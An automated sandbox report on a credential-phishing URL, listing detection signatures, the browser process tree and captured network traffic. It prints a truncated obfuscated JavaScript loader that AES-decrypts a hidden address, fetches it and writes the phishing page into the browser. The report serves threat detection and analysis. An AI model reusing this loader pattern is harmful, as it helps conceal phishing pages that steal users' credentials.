Edit tour

Windows Analysis Report
https://zastromts.za.com/v3oX/#E

Overview

General Information

Sample URL:	https://zastromts.za.com/v3oX/#E
Analysis ID:	1545512
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish70

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6816 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1784,i,11358973275970356452,17358805658181886115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zastromts.za.com/v3oX/#E" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_70	Yara detected HtmlPhish_70	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://zastromts.za.com/v3oX/#E

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish70

Source: Yara match

File source: 1.2.pages.csv, type: HTML

Source: https://zastromts.za.com/v3oX/#E

HTTP Parser: Number of links: 0

Source: https://zastromts.za.com/v3oX/#E

HTTP Parser: Base64 decoded: {"a":"9PJ5wraAnyLIGcMjv29ixKYniKarSYDRoN2bLKd2Emw=","c":"5e875894e5a29727380cf04c8d4ac447","b":"50716470fb46969f27962463733be0026f287bd970476a16f482b77502ac96feb9d975f9b58d52ac41760ff04bb28299387e56e51dead8a91f306d948a259cae8c7bde6ce217fa2cf80cbe6acedd455...

Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: Title: Golden Age Car Enthusiasts - baytul-hijabo.ru does not match URL
Source: https://baytul-hijabo.ru//	HTTP Parser: Title: Golden Age Car Enthusiasts - baytul-hijabo.ru does not match URL

Source: https://zastromts.za.com/v3oX/#E

HTTP Parser: async functionyellowness(xerographic) {var {a,b,c,d} =json.parse(xerographic);return cryptojs.aes.decrypt(a, cryptojs.pbkdf2(cryptojs.enc.hex.parse(d), cryptojs.enc.hex.parse(b), {hasher:cryptojs.algo.sha512, keysize:64/8, iterations: 999}),{iv: cryptojs.enc.hex.parse(c)}).tostring(cryptojs.enc.utf8); } (async () => {document.write(await yellowness(await (await fetch(await yellowness(atob(`eyjhijoiovbknxdyyufueuxjr2nnanyyowl4s1luauthclnzrfjvtjjitetkmkvtdz0ilcjjijoinwu4nzu4otrlnweyotcynzm4mgnmmdrjogq0ywm0ndcilcjiijointa3mty0nzbmyjq2oty5zji3otyyndyznzmzymuwmdi2zji4n2jkotcwndc2yte2zjq4mmi3nzuwmmfjotzmzwi5zdk3nwy5yju4zduyywm0mtc2mgzmmdriyji4mjk5mzg3ztu2ztuxzgvhzdhhotfmmza2zdk0ogeyntljywu4yzdizgu2y2uymtdmytjjzjgwy2jlnmfjzwrkndu1zdywywqxotjlowq4mzaymgixywy2ngrjogziytuyy2q3otg1mjy2ntgxnddjntfjn2fhyzmyodm1nwmzzmm3zge4mdywzdi5ztq1ymmwzwqxzmq0zmzmotk3yjmyytrizddjywu5y2u5yznkzgrhztvhnjmzmdhiztlkywe0yzu4ytg0mwfinjk2nja4mwviyzljmji1ngy0yjm0njbhyzg4ytdjnjfimmy1n2njmj...

Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: No favicon
Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: No favicon
Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: No favicon
Source: https://baytul-hijabo.ru//	HTTP Parser: No favicon

Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: No <meta name="author".. found
Source: https://baytul-hijabo.ru//	HTTP Parser: No <meta name="author".. found

Source: https://zastromts.za.com/v3oX/#E	HTTP Parser: No <meta name="copyright".. found
Source: https://baytul-hijabo.ru//	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.4.254:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49781 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200

Source: global traffic	HTTP traffic detected: GET /v3oX/ HTTP/1.1Host: zastromts.za.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f2bbd6738e15/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8dac6ae8de8646e3&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zastromts.za.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zastromts.za.com/v3oX/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=mc0689n6mmc3k1455o5ersf901
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8dac6ae8de8646e3&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8dac6ae8de8646e3/1730301924771/J-k-xKzMY8POWMy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8dac6ae8de8646e3/1730301924771/J-k-xKzMY8POWMy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8dac6ae8de8646e3/1730301924772/fe537286ceb89a55716c661ecf427a781292ce81a9c38ba6b73be269c1150e02/1ybUAN2X_rtC87V HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d11ix/0x4AAAAAAAxn_rTxRBzdM1iX/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/773062457:1730299201:q1CDYIcjkB4UHLDTbMFORExlajSIF5RmcYT0suwBdz4/8dac6ae8de8646e3/eCQJuNBQ1CsTPjMHTuAkyOPj_FsVr0P4JLXHMcicTVE-1730301922-1.1.1.1-P6MbYl8YnFjv_TCPPhVAr9XWilrHVd3B3u.6MqKnNj05LNU.8fo8Z9_fYw9yTNsj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heCOdcd6DBu6vCN&MD=Hph1+bw2 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: baytul-hijabo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-solid-900.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://zastromts.za.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://zastromts.za.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET // HTTP/1.1Host: baytul-hijabo.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://zastromts.za.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: baytul-hijabo.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://baytul-hijabo.ru//Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://baytul-hijabo.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/bootstrap@5.3.0/dist/css/bootstrap.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://baytul-hijabo.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1Host: baytul-hijabo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
